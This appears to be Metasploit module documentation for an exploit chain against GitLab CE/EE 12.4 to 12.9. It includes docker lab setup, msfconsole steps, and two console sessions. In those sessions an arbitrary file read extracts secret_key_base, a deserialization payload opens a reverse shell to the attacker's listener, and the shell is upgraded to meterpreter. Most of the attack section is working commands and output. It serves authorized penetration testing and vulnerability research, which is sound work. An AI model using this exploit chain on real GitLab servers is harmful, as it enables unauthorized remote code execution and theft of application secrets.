## Vulnerable Application

### Description

This module provides remote code execution against GitLab Community
Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file
read to extract the Rails "secret_key_base", and gains remote code
execution with a deserialization vulnerability of a signed
'experimentation_subject_id' cookie that Gitlab uses internally for A/B
testing.

Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later,
and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects
versions 12.4.0 and above when the vulnerable `experimentation_subject_id`
cookie was introduced.

Tested on GitLab 12.8.1 and 12.4.0.

### Setup

Running GitLab 12.8.1 with docker:

```
sudo docker run \
  --rm \
  --publish 443:443 --publish 80:80 --publish 22:22 \
  --name gitlab \
  gitlab/gitlab-ee:12.8.1-ee.0
```

The application will be available on port 80 or 443. This may take a long time.

#### Setting up SSL

This step is **optional** and only required if you wish to enable HTTPS for an arbitrary test URL such as `gitlab.example.com`

Connect to the running Gitlab instance:

```
sudo docker exec -it gitlab /bin/bash
```

Add these lines to `/etc/gitlab/gitlab.rb`:

```
external_url "https://gitlab.example.com"
letsencrypt['enable'] = false
```

Use OpenSSL to create a self signed certificate and key:

```
mkdir -p /etc/gitlab/ssl
chmod 755 /etc/gitlab/ssl
cd /etc/gitlab/ssl
openssl req -x509 -sha256 -nodes -days 365 -newkey rsa:2048 -keyout gitlab.example.com.key -out gitlab.example.com.crt
```

Reconfigure GitLab:

```
gitlab-ctl reconfigure
```

On your host machine modify your `/etc/hosts` file:

```
127.0.0.1 gitlab.example.com
```

Visit the test URL in your browser and either ignore the certificate warnings or add it to continue:

```
https://gitlab.example.com/
```

#### Creating a user

You can either create a user account normally or programmatically as shown below.

Connect to the running Gitlab instance:

```
sudo docker exec -it gitlab /bin/bash
```

Open an interactive rails console:

```
gitlab-rails console -e production
```

Optional - Set the Gitlab `root` account credentials:

```
admin = User.where(id: 1).first
admin.update!(
    password: 'password123',
    password_confirmation: 'password123',
    confirmation_token: nil,
    confirmed_at: Time.now,
    confirmation_sent_at: nil,
    failed_attempts: 0
)
admin.skip_reconfirmation!
```

Create a normal user account:

```
user = User.new(
    username: 'test',
    name: 'test',
    email: 'test@example.com',
    password: 'password123',
    password_confirmation: 'password123',
    confirmation_token: nil,
    confirmed_at: Time.now,
    confirmation_sent_at: nil,
    failed_attempts: 0
)
user.save!
user.skip_confirmation!
```

Once finished, kill the running docker container with:

```
docker kill gitlab
```

## Verification Steps

Check:

1. Run the application
1. Start msfconsole
1. `use exploit/multi/http/gitlab_file_read_rce`
1. `set RPORT <port>`
1. `set RHOST <ip>`
1. `set USERNAME test@example.com`
1. `set PASSWORD password123`
1. `check`

```
[*] 10.10.10.111:9999 - The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.
```

Run:

1. Run the application
1. Start msfconsole
1. `use exploit/multi/http/gitlab_file_read_rce`
1. `set RPORT <port>`
1. `set RHOST <ip>`
1. `set USERNAME test@example.com`
1. `set PASSWORD password123`
1. `set LPORT <port>`
1. `set LHOST <ip>`
1. `run`
1. You should get a shell.

Specifying a `SECRET_KEY_BASE` to avoid the arbitrary file read:

1. Run the application
1. Start msfconsole
1. `use exploit/multi/http/gitlab_file_read_rce`
1. `set RPORT <port>`
1. `set RHOST <ip>`
1. `set SECRET_KEY_BASE 301ee96a664dc634b8766368d26b4ef4deb46c593490dc1f39526e0f278f2dfcb9f5c9bb13c74b5377848259a533c9ad137885c01a4387deb799e14589a6fbac`
1. `set LPORT <port>`
1. `set LHOST <ip>`
1. `run`
1. You should get a shell.

## Scenarios

### Arbitrary File Read to RCE

```
msf exploit(multi/http/gitlab_file_read_rce) > options

Module options (exploit/multi/http/gitlab_file_read_rce):

   Name          Current Setting                             Required  Description
   ----          ---------------                             --------  -----------
   DEPTH         15                                          yes       Define the max traversal depth
   PASSWORD      password123                                 yes       The password for the specified username
   Proxies                                                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        127.0.0.1                                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         80                                          yes       The target port (TCP)
   SECRETS_PATH  /opt/gitlab/embedded/service/gitlab-rails/  yes       The path to the secrets.yml file
                 config/secrets.yml
   SECRET_KEY_BASE                                           no        The known secret_key_base from the secrets.yml - this skips the arbitrary file read if present
   SSL           false                                       no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /users/sign_in                              yes       The path to the vulnerable application
   USERNAME      test@example.com                            yes       The username to authenticate as
   VHOST         gitlab.example.com                          no        The virtual host name to use in requests


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  docker0          yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(multi/http/gitlab_file_read_rce) > rerun

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.
[*] Logged in to user test
[*] Created project /test/pKUuduxC
[*] Created project /test/5W350yP1
[*] created issue /test/pKUuduxC/issues/1
[*] Executing arbitrary file load
[+] File saved as: '/home/kali/.msf4/loot/20201121213408_default_127.0.0.1_gitlab.secrets_675303.txt'
[+] Extracted secret_key_base e41f3a01d22ff6a694be33bf2e5d40af89b788088938203c3478818da595731ada41c2b9c3d3caff79de7647a0c287bb68f6ca1912904a766237543013c46594
[*] Attempting to delete project /test/pKUuduxC
[*] Command shell session 23 opened (172.17.0.1:4444 -> 172.17.0.2:34058) at 2020-11-21 21:34:08 -0500
[*] Deleted project /test/pKUuduxC
[*] Attempting to delete project /test/5W350yP1
[*] Deleted project /test/5W350yP1

whoami
git
^Z
Background session 23? [y/N]  y
msf exploit(multi/http/gitlab_file_read_rce) > sessions -u 23
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [23]

[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 23
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.17.0.1:4433
[*] Sending stage (976712 bytes) to 172.17.0.2
[*] Meterpreter session 24 opened (172.17.0.1:4433 -> 172.17.0.2:45442) at 2020-11-21 21:34:34 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
msf exploit(multi/http/gitlab_file_read_rce) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                                     Connection
  --  ----  ----                   -----------                                                     ----------
  23        shell ruby/ruby                                                                        172.17.0.1:4444 -> 172.17.0.2:34058 (127.0.0.1)
  24        meterpreter x86/linux  git @ 622b6a4c6722 (uid=998, gid=998, euid=998, egid=998) @ 17  172.17.0.1:4433 -> 172.17.0.2:45442 (172.17.0.2)
                                   2.17.0.2

msf exploit(multi/http/gitlab_file_read_rce) >
```

### Specifying SECRET_KEY_BASE to RCE

```
msf exploit(multi/http/gitlab_file_read_rce) > options

Module options (exploit/multi/http/gitlab_file_read_rce):

   Name             Current Setting                            Required  Description
   ----             ---------------                            --------  -----------
   DEPTH            15                                         yes       Define the max traversal depth
   PASSWORD                                                    no        The password for the specified username
   Proxies                                                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS           127.0.0.1                                  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:
                                                                         <path>'
   RPORT            80                                         yes       The target port (TCP)
   SECRETS_PATH     /opt/gitlab/embedded/service/gitlab-rails  yes       The path to the secrets.yml file
                    /config/secrets.yml
   SECRET_KEY_BASE  301ee96a664dc634b8766368d26b4ef4deb46c593  no        The known secret_key_base from the secrets.yml - this skips the arbitrary f
                    490dc1f39526e0f278f2dfcb9f5c9bb13c74b5377            ile read if present
                    848259a533c9ad137885c01a4387deb799e14589a
                    6fbac
   SSL              false                                      no        Negotiate SSL/TLS for outgoing connections
   TARGETURI        /users/sign_in                             yes       The path to the vulnerable application
   USERNAME                                                    no        The username to authenticate as
   VHOST            gitlab.example.com                         no        HTTP server virtual host


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  docker0          yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(multi/http/gitlab_file_read_rce) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.
[*] Command shell session 12 opened (172.17.0.1:4444 -> 172.17.0.2:58026) at 2020-12-06 19:53:24 -0500

^Z
Background session 12? [y/N]  y
msf exploit(multi/http/gitlab_file_read_rce) > sessions -u 12
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [12]

[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 12
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.17.0.1:4433
[*] Sending stage (976712 bytes) to 172.17.0.2
[*] Meterpreter session 13 opened (172.17.0.1:4433 -> 172.17.0.2:56876) at 2020-12-06 19:53:42 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
msf exploit(multi/http/gitlab_file_read_rce) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                                      Connection
  --  ----  ----                   -----------                                                      ----------
  12        shell ruby/ruby                                                                         172.17.0.1:4444 -> 172.17.0.2:58026 (127.0.0.1)
  13        meterpreter x86/linux  git @ 5d733775a28a (uid=998, gid=998, euid=998, egid=998) @ 172  172.17.0.1:4433 -> 172.17.0.2:56876 (172.17.0.2)
                                   .17.0.2

msf exploit(multi/http/gitlab_file_read_rce) >
```
